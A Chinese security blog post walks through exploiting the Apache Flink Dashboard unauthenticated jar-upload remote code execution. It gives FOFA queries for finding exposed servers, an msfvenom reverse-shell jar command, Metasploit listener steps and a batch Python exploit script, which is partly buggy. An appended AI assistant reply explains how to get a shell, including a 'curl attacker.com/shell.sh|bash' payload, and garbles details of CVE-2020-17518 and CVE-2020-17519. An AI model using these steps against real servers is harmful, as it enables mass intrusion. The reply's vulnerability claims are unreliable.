Apache Flink 未授权访问+远程代码执行

本文介绍Apache Flink中存在的远程代码执行漏洞复现过程。该漏洞允许攻击者上传恶意Jar包并执行远程代码,影响版本<=1.9.1。文章详细记录了使用MSF生成木马、设置监听及反弹Shell的步骤。

0x00 前言

@Adminxe 今天胖胖表哥突然扔来一个复现,那俺得瞧瞧,正好写个博客划划水,然后就引发了下面一些列的操作以及你想看到的,以及和你不想看到的文字。之前就有大佬复现过,毕竟水文和复现学习,那就来一波吧!最可恶的是,今天的MC兄没有请客喝啵啵奶茶,必须点名批评一下!

从现在fofa的搜索量来看,基本也就是国内Apache Flink 存在1500左右的站点。

有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞,影响范围:
<= 1.9.1(最新版本)
此次复现就是通过版本Version: 1.10.1进行复现利用。

0x01 FOFA语句

app="Apache-Flink"
app="Apache‐Flink" && country="CN"
app="Apache‐Flink" && country="CN" && region="HK"

0x02 漏洞复现

1、这里随便搞个站打开进行复现,打开以后就张这样子。

点击Submit New Job翻译:文件上传

2、打开MSF 生成一个 jar 木马

msfvenom ‐p java/meterpreter/reverse_tcp LHOST=**.***.59.61  LPORT=4444 ‐f
 jar > testone.jar

3、点击 Add 上传 jar 文件

4、设置监听端口

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload java/shell/reverse_tcp 
payload => java/shell/reverse_tcp
msf5 exploit(multi/handler) > set lhost XX.XXX.XX.61
lhost => XX.XXX.XX.61
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run

5、点击下 submit

6、反弹shell成功

0x03 批量化测试脚本

import sys
import json
import requests

def flink_check(vuln_url):
    r = requests.get(vuln_url)
    if r.status_code == 200 and len(r.content) > 0:
        print(vuln_url + 'may has Apache Flink Web Dashboard RCE vul')
        upload_jar(vuln_url)

    else:
        print(vuln_url + 'does not have Apache Flink Web Dashboard RCE vul')


def upload_jar(vuln_url):
    upload_url = vuln_url + '/upload'
    files = {
        'file':open(sys.argv[2],'rb')
    }
    r = requests.post(upload_url, files=files)
    if r.status_codes== 200 and 'filename' in r.content:
        print('upload success')
        json_str = json.loads(r.content)
        filename = json_str['filename'].split('/')[-1]
        submit_jar(vuln_url,filename)

    else:
        print('faild')

def submit_jar(vuln_url,filename):
    submit_url = vuln_url + filename + '/run?entry-class=metasploit.Payload'
    url = vuln_url[:-4]
    headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'application/json, text/plain, */*',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Referer': '%s' % url,
    'Content-Length': '123',
    'Connection': 'close'
    }
    payload = {
        "entryClass":"metasploit.Payload",
        "parallelism": 0,
        "programArgs": 0,
        "savepointPath": 0,
        "allowNonRestoredState": 0
    }

    r = requests.post(submit_url, headers=headers, data=payload, proxies=proxies)
    if r.status_code == 500 and 'org.apache.flink.client.program.ProgramInvocationException' in r.content:
        print("[+] Poc Send Success!\n")
        # print 'msfconsole  -q  -x "use exploit/multi/handler;set payload java/meterpreter/reverse_tcp;set lhost 10.10.20.166;set lport 8989;run"\n'
    else:
        print("[+] Poc Send Fail!")

"""
only for dected:
def POC_check(vuln_url):
    res = requests.get(url=vuln_url, timeout=3)
    data = {
        'msg': res.json(),
        'state': 1,
        'url': url,
    }
"""


if __name__ == '__main__':
    if len(sys.argv) == 3:
        ip = sys.argv[1]
        port = sys.argv[2]
        url = 'http://' + ip + ':' + port
        vuln_url = url + '/jars'
        flink_check(vuln_url=vuln_url)

    elif len(sys.argv) == 2:
        ip = sys.argv[1]
        port = '8081'
        url = 'http://' + ip + ':' + port
        vuln_url = url + '/jars'
        flink_check(vuln_url=vuln_url)

0x04 参考资料

  • https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag
  • https://flink.apache.org/downloads.html

转载请注明:Adminxe's Blog » Apache Flink 未授权访问+远程代码执行

<think>好的,我现在需要处理用户关于Apache Flink Dashboard的安全漏洞和获取Shell方法的查询。首先,用户提到了Apache APISIX的默认密钥漏洞(CVE-2020-13945)作为参考,这可能暗示他们关注的是默认配置或认证问题。同时,用户引用了其他中间件如IIS、Apache、Tomcat、Nginx的常见搭配,这可能说明他们想了解不同服务器的漏洞利用方式。另外,用户还提到了PHP中字符串连接触发的__toString方法,这可能与反序列化漏洞有关。 首先,我需要确认Apache Flink Dashboard是否存在已知的安全漏洞。查阅资料发现,Apache Flink在1.9.1及之前版本存在未授权访问导致远程代码执行(RCE)的漏洞,特别是通过JobManager的Web界面提交恶意作业。此外,另一个漏洞CVE-2020-17519涉及文件上传和路径遍历,允许覆盖任意文件。还有CVE-2020-17518是REST API未正确处理用户输入导致的RCE。这些漏洞可能允许攻击者获取Shell权限。 接下来,用户可能想知道如何利用这些漏洞。例如,对于未授权访问,攻击者可能直接上传恶意Jar文件执行代码。路径遍历漏洞则可能通过修改文件上传路径来覆盖关键系统文件。而REST API的漏洞可能需要构造特定的HTTP请求来触发命令执行。 另外,需要考虑用户提供的引用内容。例如,引用[1]中的默认密钥漏洞可能提示检查Flink是否有默认凭据,但根据现有知识,Flink默认不启用认证,所以未授权访问更常见。引用[3]的反序列化问题可能不直接适用,但需要确认Flink是否有反序列化点可能被利用。 用户的需求是寻找安全漏洞或获取Shell的方法,因此需要详细说明漏洞利用步骤,同时提醒安全建议,如升级版本、配置认证、网络隔离等。确保回答结构清晰,分点列出漏洞和对应方法,并附上参考资料。 最后,生成相关问题,涵盖漏洞列表、防护措施、与类似中间件漏洞的对比,以及如何检测是否受影响。这有助于用户全面了解Flink的安全状况。</think>关于Apache Flink Dashboard的安全漏洞及获取Shell的方法,以下是已知的漏洞类型和利用方式的技术分析: ### 一、Apache Flink 已知高危漏洞 1. **未授权访问RCE漏洞(Cli模式)** - **影响版本**:1.9.1及以下 - **利用原理**:Dashboard默认未开启认证,攻击者可通过Web界面直接提交恶意Jar包实现代码执行 - **利用步骤**: ```bash curl -X POST -H "Expect:" -F "jarfile=@exploit.jar" http://flink-server:8081/jars/upload curl -X POST http://flink-server:8081/jars/{jar_id}/run ``` 2. **路径遍历+文件覆盖漏洞(CVE-2020-17519)** - **影响版本**:1.5.1-1.11.2 - **利用效果**:通过恶意文件名构造路径遍历,覆盖服务器任意文件 ```http POST /jars/upload HTTP/1.1 Content-Disposition: form-data; name="jarfile"; filename="../../tmp/evil.config" ``` 3. **REST API命令注入(CVE-2020-17518)** - **触发点**:JobManager的REST接口 - **Payload示例**: ```http GET /jars/upload?addr=127.0.0.1|bash+-c+"curl+attacker.com/shell.sh|bash" HTTP/1.1 ``` ### 二、防护建议 1. 升级到1.11.3+版本并启用HTTPS 2. 在`flink-conf.yaml`中配置认证: ```yaml security.kerberos.login.use-ticket-cache: true security.ssl.enabled: true ``` 3. 通过防火墙限制Dashboard的访问源IP[^1] ### 三、漏洞检测方法 使用nmap检测开放端口: ```bash nmap -p 8081,6123 --script flink-detect.nse <target_ip> ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值